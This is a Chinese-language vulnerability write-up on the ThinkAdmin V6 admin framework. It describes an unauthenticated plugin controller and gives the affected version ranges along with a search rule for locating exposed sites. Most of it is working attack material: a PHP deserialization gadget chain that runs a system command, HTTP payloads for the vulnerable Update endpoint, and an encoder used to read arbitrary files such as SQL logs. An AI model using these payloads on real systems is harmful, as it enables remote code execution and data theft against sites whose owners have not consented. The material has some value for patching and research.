thinkadmin V6 漏洞總結

0x00 漏洞原理

插件控制器未加認證，直接無需認證利用，github提的issue說是任意文件讀取，其實再早之前還有反序列化

 

0x01 漏洞影響

• 任意文件讀取代碼 自2019年11月1日至2020年8月3日前的所有版本
• 反序列化代碼自2019年11月1日至2020年6月16日前所有版本

 

0x02 cms搜索規則

title="thinkadmin" && body="v6.0"

 

0x03 漏洞利用

反序列化

測試鏈子發現mac和win都可以觸發，唯獨在linux下用不了，原因是__destruct觸發不了

后請教了一下七月火師傅，將序列化本來直接傳object改成傳數組解決了

鏈子代碼：（來源於90sec）

<?php
namespace think;
use think\model\Pivot;
abstract class Model{
    private $lazySave = false;    # save()
    private $exists = false;    # updateData()
    protected $connection;
    protected $name;            # __toString() Conversion.php =>Pivot
    private $withAttr = [];        # assert
    protected $hidden = [];
    private $data = [];
    protected $withEvent = false;
    private $force = false;
    protected $field = [];
    protected $schema = [];

    function __construct(){
        $this->lazySave = true;
        $this->exists = true;
        $this->withEvent = false;
        $this->force = true;
        $this->connection = "mysql";
        $this->withAttr = ["test"=>"system"];
        $this->data = ["test"=>"whoami"];
        $this->hidden = ["test"=>"123"];
        
        $this->field = [];
        $this->schema = [];
    }
}
namespace think\model;
use think\Model;
# Model 是一個抽象類，我們找到它的繼承類，此處選取的是 Pivot 類
class Pivot extends Model{
    function __construct($obj=""){
        parent::__construct();
        $this->name = $obj;        # $this->name放子類構造方法中賦值，直接放基類屬性中初始化不成功
    }
}
$a=new Pivot();
echo urlencode(serialize([new Pivot($a),123]));

payload：

/admin/login.html?s=admin/api.Update/tree
host:
Content-Type: application/x-www-form-urlencoded

rules=

 

 

任意文件讀取

encode代碼：

<?php
function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}
echo encode('runtime/admin/log/single_sql.log')；
?>

payload:

/admin/login.html?s=admin/api.Update/get/encode/加密的字符串